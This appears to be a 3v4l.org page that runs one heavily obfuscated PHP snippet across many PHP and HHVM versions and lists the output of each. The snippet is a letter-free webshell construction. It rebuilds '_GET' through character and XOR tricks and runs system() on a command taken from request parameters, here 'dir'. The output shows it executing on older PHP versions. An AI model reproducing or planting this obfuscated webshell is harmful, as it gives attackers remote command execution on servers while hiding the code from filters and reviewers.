3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php //TNG $_GET['0']='system'; $_GET['1']='dir'; @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Output for 7.0.0 - 7.1.0
Notice: Array to string conversion in /in/hRH3P on line 6 Notice: Array to string conversion in /in/hRH3P on line 12 Notice: Undefined variable: Array in /in/hRH3P on line 12 Fatal error: Uncaught Error: Function name must be a string in /in/hRH3P:12 Stack trace: #0 {main} thrown in /in/hRH3P on line 12
Process exited with code 255.
Output for hhvm-3.10.0 - 3.12.0
Notice: Array to string conversion in /in/hRH3P on line 6 Failed to exec: `dir'
Output for 5.4.45 - 5.6.28
Notice: Array to string conversion in /in/hRH3P on line 6
Output for 5.4.0 - 5.4.44
Notice: Array to string conversion in /in/hRH3P on line 6 sh: 1: dir: not found
Output for 4.3.1 - 5.3.29
sh: 1: dir: not found
Output for 4.3.0